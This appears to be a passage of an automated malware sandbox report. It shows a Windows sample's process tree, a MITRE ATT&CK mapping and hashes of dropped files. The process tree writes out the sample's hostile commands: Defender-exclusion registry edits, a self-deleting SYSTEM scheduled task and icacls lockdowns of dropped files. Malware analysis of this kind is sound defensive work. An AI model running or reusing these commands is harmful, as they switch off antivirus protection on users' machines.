    cmd.exe /c icacls "C:\Program Files (x86)\tBzlx7\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4040
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tBzlx7\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5332
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tBzlx7\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3444
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tBzlx7\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3040
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tBzlx7\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2100
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tBzlx7\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3572
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:5140
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2692
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4000
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:4340
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tBzlx7\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1224
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tBzlx7\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1072
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tBzlx7\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1248
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tBzlx7\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4876
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tBzlx7\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3488
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tBzlx7\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4404
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tBzlx7\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:740
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tBzlx7\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1748
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tBzlx7\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4112
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tBzlx7\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1652

C:\Users\Public\brCsrq\OTiskR.exe
"C:\Users\Public\brCsrq\OTiskR.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1904

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3424
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1248

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5160

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1772
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5096

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4888
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3060

C:\Program Files (x86)\tBzlx7\tBzlx7.exe
"C:\Program Files (x86)\tBzlx7\tBzlx7.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1196

C:\Program Files (x86)\E3lAeFt1\tVCbM3Pw.exe
"C:\Program Files (x86)\E3lAeFt1\tVCbM3Pw.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5240

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2220
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5132

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4620
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1788

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3536
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2344

C:\ProgramData\Af2XWit0.exe
C:\ProgramData\Af2XWit0.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:5636

C:\ProgramData\Xsh47uvl\Ke9H6MyJ.exe
C:\ProgramData\Xsh47uvl\Ke9H6MyJ.exe
1⤵
- UAC bypass
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- System policy modification
PID:5940

C:\ProgramData\Xwi47YCd\5aFq6MJ3.exe
C:\ProgramData\Xwi47YCd\5aFq6MJ3.exe 1776
1⤵
- Executes dropped EXE
PID:5580

C:\Program Files (x86)\E3lAeFt1\tVCbM3Pw.exe
"C:\Program Files (x86)\E3lAeFt1\tVCbM3Pw.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2024

C:\Program Files (x86)\tBzlx7\tBzlx7.exe
"C:\Program Files (x86)\tBzlx7\tBzlx7.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3732

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\E3lAeFt1\XPSPLOG.dll
Size 4.6MB
SHA256 fdb45dc3f9e60c0735ba5cdb2c4a544a7083391b8650a3749a38973fc0d6eb45
MD5 7d2d94210fcabb4b3601da8a4e8e591a
SHA1 a2c4e9215b3bcef71908147ea89ded0f11fe088d
SHA512 cdc65d9514aab0531a1c85c2b79c8ab79a7e0e2c7d3610f337b6d29dc101421f1e811127a8789410f4346b873f740d62ce349ef07b14489335d172d2b5858b4d
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyN:BMWKfU+BcUTHCCCfqCiUffnN
TLSH
T1E0263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\E3lAeFt1\image.png
Size 4.8MB
SHA256 1740771c7272353f3eb7bd9e240d16587c1ac003025965b9824ace1b5458ed27
MD5 4fd88d06539c819885c0567565e07728
SHA1 e19ca0c39496519ea5d858779d19b9a77a8908aa
SHA512 e105b17c5022ab31c02cf84b0b0b13b1ab349b1a69ba6f2738fdf626f45e4f53ae1252478423dbaba83ddf78bcf4dc17c4ad6ea1a494691b74b9893754da8447
SSDEEP 98304:0/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:0MpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T16C36334FE6EFBED9C398F7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\tBzlx7\XPSPLOG.dll
Size 4.6MB
SHA256 48387d88d0cae75ccae689b87e32304942fa8676ac503a70505f4337609957ba
MD5 4ddd456d4268bb8343fcbec01fcfd24f
SHA1 79063eb62e3683185ca300a97c81eba0248bad0d
SHA512 72670ebcebeb9a5e1f07214cc23378ef99d03989839e7bfe5d8e92b58b1bd22852dea4e41b3726f19e7f0ac69ae758c1766fe67066267e6b815c1042e95c59d1
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyU:BMWKfU+BcUTHCCCfqCiUffnU
TLSH
T187263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\tBzlx7\image.png
Size 4.8MB
SHA256 f4892ff3a9c69d1bd749dd560629be732e7b34a5244eb6231d3e2c3d8c8fa207
MD5 86be86b48e2deae8a58749ffeb897098
SHA1 0dc02819108751b969a544f2d63c2da99614cf99
SHA512 2b2bc29dd197a99df6d85306fa61e2412d4128e9f89c5173c36feb739d435ccb6631ace49a3c0dc1752d35b421c31275e4efce915ac33ff1b736d95ad187243c
SSDEEP 98304:o/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:oMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T13A36334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tBzlx7.exe

Path C:\Program Files (x86)\tBzlx7\tBzlx7.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\tBzlx7\thumbs.db
Size 358KB
SHA256 59e7e121f19c88866ae7c6e7a2d0077eb8907d9552be006bc2948c29889b857c
MD5 01880cd2fde82c3a40a3b40038b0e41d
SHA1 703e23cb91bb620e6e7cac94eef5e5efd9e56d96
SHA512 555d3f8d9917d3860d847cc5497cc4c1c44e3884e315503dfd3424cb87cd51a7c67b67d808a693a630858669604444416f69fca6750eb19018096e1dbe2fcb38
SSDEEP 6144:xiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:A8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T11A74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Af2XWit0.exe

Path C:\ProgramData\Af2XWit0.exe
Size 2.5MB
SHA256 3e782ccfd27e66ca9390d532a4fe6854df43b92c99279dbdab718a670381af2b
MD5 3f39b517b92b9e35a5d7f0e7846b4bd6
SHA1 6071b1dbff963cb6945f00d1758319aa69d0b1d6
SHA512 4c0e056515cb93584aa91b922ffcea0aa64e51501148f2a3bfaf4c98ce1cbdefa5558135e08a958b04fc4f2646dd388194135e4fdb24e12026515a095011205f
SSDEEP 49152:sSX2vsEpkYfjcXP+D+3TGcGvntClmwvoj+4mWthy21RL7iEJB8:Pm0+0PjTVGvEvvojLSSviYB8
TLSH
T192C523126DDA81E5D5820B30D71FA7C732F09594CAB08C34EFC179887472F67A27ADA6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Ke9H6MyJ.dat

Path C:\ProgramData\Xsh47uvl\Ke9H6MyJ.dat
Size 56KB
SHA256 0a33b2a61dbb808485d3ad0d6e1c2be2116f431840bf5a3417ac54e7aa96faab
MD5 d5c409fd4dec454700e6abc49b57dd92
SHA1 368c796f821b704ab1928ac1e5d171a7ba4e1252
SHA512 87fadcf39cc2df8fe98a3d5ad2083e4e26eb554a268cbb5862243d7d815409b06e75ea67657c4ab4a5dddf6d0645d846c1bd0d8ea96c932eb8c5c4265e2aad99
SSDEEP 1536:LA5UOqaSzVJk7yHWGLvQL2NjQhzehEZSVsKJY3:LsUL1PSkbvG2pkze2GY3
TLSH
T12A43020AD5F17B2ACA061776CD5CA50150EF4AFD88235CB38590F2764EE308F9D1B619
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Ke9H6MyJ.exe

Path C:\ProgramData\Xsh47uvl\Ke9H6MyJ.exe
Size 475KB
SHA256 66017738d9211dbab388382e5279002d5ca63c773ef3a957a4950da64183b5f4
MD5 09dfe21edb45ca50741a9294aece0d4f
SHA1 190f650d733de632530a3a95a57755de7cab1411
SHA512 87ac6870d12c577641ea3c47fe50db71ee8bc5f2c734a6e081d010dcd05b3a3d38bdfc45060ce0163fcf9194152fc6983f35dfbecf5ca4e688acc72508b09603
SSDEEP 12288:gNrhTLpMP+R+QDCfA832AtBYmz6af0F7Z1QVjSOsJ/o:gthTiP+ffCfB5Lf0F7Z1EDsVo
TLSH
T186A42322B76BD826EB0E083542A5DF7D4A7ABD02F889834301B97F5F7D363905D1DA09
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Ke9H6MyJ.png

Path C:\ProgramData\Xsh47uvl\Ke9H6MyJ.png
Size 167KB
SHA256 f69d224214643513d4941c456ea192745e8d427fc2a4e9ee1a001923607ec858
MD5 47c51de5cd82dbeb9ec8dfbddd486799
SHA1 1726f3ca8e61e164745917fb041466f1d492b382
SHA512 4f8d84d98e6cb06dc7b05d209f1b277c9c6eb9b969a0ab37d59a72a2cc339d64407f940449ee041b0abdc55181be0d5269062b7819b19fa084ce0d7d699c96e6
SSDEEP 3072:fxvH+eTJ02Y6X2jdKEKRoHUMaDQptDljwIjDdj7YoILts74x0BI+1pB:ZH+KKo4dNK2d2kdXYon74mBV1X
TLSH
T176F3120CD00236B72EE84895B2AB3D5494DCC4A51E22974E790B3B9F5C933E949A7F4F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5aFq6MJ3.exe

Path C:\ProgramData\Xwi47YCd\5aFq6MJ3.exe
Size 663KB
SHA256 7fb5f3da8c8c966a75db460697d33913da49a6b695b2d437970dc2e967c7afa1
MD5 8c5f3ebda1301154456ce41ac3c461a6
SHA1 b7e377723135e2c383b89e85c0b70cfab88ca62c
SHA512 a813fab2b20560ac77a48467f853c192eac43a1caf83ef5b2fe7fd125f267da189ab39eac98da6a84e8cd6ac6955ce3719c4ad053c304c67dabbc9b0a4a51364
SSDEEP 12288:hHDFGZnF/eud8ic+Y3ngyujLF/nWRZ8iR4+y3dnpkoBLR0eo2/k5bx9LhlOFqgb3:hpYF/e5icRQjV3pRR2Aobllw
TLSH
T12CE423C99C65B095C0A009FABC118D2BE50E5174205EFA34C7629BAA7FF93F11EF650D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 1KB
SHA256 fcf612df97283c5789c87771dae1698f6a63700dcf17f0a5c7bc7aba68f716db
MD5 17cb47fcac66a071f9f63e421e27be0f
SHA1 c3ac5ebfcaa58ffe7946372b16dbece1aaed96b5
SHA512 8069f146c680f3cafa778ce6dfd96a54768d185e93881ad94b098465423fabf9aa89c1a0f3dd9f8206cb7b850c6710a3d0c3382fdf11a38ba9b40caa2da75970
TLSH
T1D5210BDA4EB22580FFC12E4722C5C537AEF137C208BE401F423AD4DA65003A47F1691D
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 1KB
SHA256 c8e26bd8e95cb62764522ba09fa4a487928261d09372414b0b78934bc5ada8d2
MD5 0a0de14e3bfb941ad5cee845a29ba0d3
SHA1 93b619709552658a3cb6327084932673ab7632bf
SHA512 7646afbd2024223b19ed2da904099f888db46f314efe8d36e2b39e743e7cdb7e9458402616128f6beaa684a3345777fb904424b1e9c678395c1c0a97579406ac
TLSH
T16E21B9475B763423E752DD8E14C89D372CF5BAD665C80415700FC2E719153F29B4AA2E
MD5 SHA1 SHA512 TLSH

Submit Download

D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD
Size 1KB
SHA256 0a4e28c92582c9ccfa9a8156a7d62afb9d4cb48deff55cea2f8a0d898ec5ce90
MD5 c1c7861a88f2d1cd50c98382dbe72e92
SHA1 6727748a50500600a58b3af97a93e4d7bdc20bad
SHA512 54a3a93d830356512198c0d6bab3ae2fff3e6594b3d10a19dad9d335f427119867fbbc246da64f38b1a002da9b8c185d0a1b1b4bd1aacbe72277a9de37ab805c
TLSH
T105219483596839411B40DCBE1C97CBB33D71E8EF8E887511207668A9E8083E7AF0C689
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 508B
SHA256 9156afc319a8690bfaece89c03e2ece1893b2e02ed92c2ecb1f7c0219466bbf7
MD5 463957c3422288ce3eea0e30c22a7a13
SHA1 dd0db62d188005dad79c3906635182ee313e168a
SHA512 6b73fea87051b5d6ef694fda44170b7ca3114375d82f8fa92ce181f17ddcd70388b0d3954996c88c13dd1d65f03658cd91007ce1c44f3aac04dd7fcf0c483436
TLSH
T1F0F0DC3818F91029F033CA3D06CA35628E3BFA0B210207743AE08B0EF542E052C4363D
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 510B
SHA256 df7a2f3cabe085c8fb5777682293226d798a2d925d36584ab9d4bb52891d69d1
MD5 d3b703cd0f1ab53644ae20b5b11bab58
SHA1 030400eb136f573d3bbb278d1c793cdcb22ea03a
SHA512 83a8dff4e07c3892232186de9269427fd386120cb934036be5e3839f2876b186189013f7cce9ad23b8a899b8dbcf824384813302b2a5d6e7e2085a8be67e1eef
TLSH
T18DF05C3829E87018F176CB3C16D526F1F697F61331191EFE0EA602595B59E407C8523D
MD5 SHA1 SHA512 TLSH

Submit Download

D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD
Size 540B
SHA256 158f85247cfbd5bd7971cf8d8422e737ee730de78e7610cac94eabf96b6c245d
MD5 555eae01f6aa446f78429cce07cae0db
SHA1 047eb9556ce54719721f9e9bdeed776c3984c8d5
SHA512 066fd00185ed5c292772d43e74df661886702049a877a6354ceb76274179869f5c6a708484ee61db5eec15a8e3a3c9fa9f454a6c7321d738b85065cfa71a4fd2
TLSH
T1B6F0593864B9505DF4B7D8381BC463765865FA05710091680EE24B18AE64F006DE2B39
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_0r4ph44r.pb3.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0r4ph44r.pb3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

OTiskR.exe

Path C:\Users\Public\brCsrq\OTiskR.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\brCsrq\UxEnhance64.dll
Size 3.1MB
SHA256 6bfdf57c82c20b80328655e01c9550f06f8a4aa6a4d61d40b1f8bd5839d5148e
MD5 94b44ee8584461ddbd22af7f8924cb8a
SHA1 e01413e10c6b9313873e9e24955283ec7136555b
SHA512 8f7c786dd80142725adc562b3f95d05fdf64af60713e23a8faa971dafb9f198238ecf3d47ebb3274d84490a9f1444d3d966e543726fff14c79812186be911e22
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+2:P9m29xx3Tiqt06ox6+z2rNNrKo2
TLSH
T17DE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\brCsrq\adoresd.dat
Size 4.7MB
SHA256 fe1f454ab8a0d02ee585ec42f2f570555a8074db6e163b8784cce5ca69c5b255
MD5 08a25eedfa450028d5de3aa18b16f598
SHA1 d9907af902c6c6be1ef42b49a20770010236d024
SHA512 67bdf6751fcdf5e49821818813a07742b6aad690672b75ecc7988c62ebf1ee4767b78969437e1f0c15b7c33673928523c2316a1e8daef0043e334390c8a8df3a
SSDEEP 98304:XKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:XKClqhi0Cv54K2IVS0VQg
TLSH
T1EF3633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\brCsrq\msadox.tb
Size 8KB
SHA256 b324523134d4b31e3238c54753dc13bda1ffc5fb658b91db444d0ab234724d8f
MD5 db8ae7d21a9e1d27e3961a3469164cba
SHA1 57674e7a086b5074b5ee82c25b093f6ae9d12825
SHA512 bf1738b4d1a3da47beaea10395f597a2838dda95c06255cf3e831e0022b87622b62f277c98ad62d610788799ec95ffd72edc704e5bed680efadd21d4fb11eccd
SSDEEP 192:BqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:BsZqZOXQ3uqvR2Kfzp
TLSH
T158029E05D7A20CC3D3016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
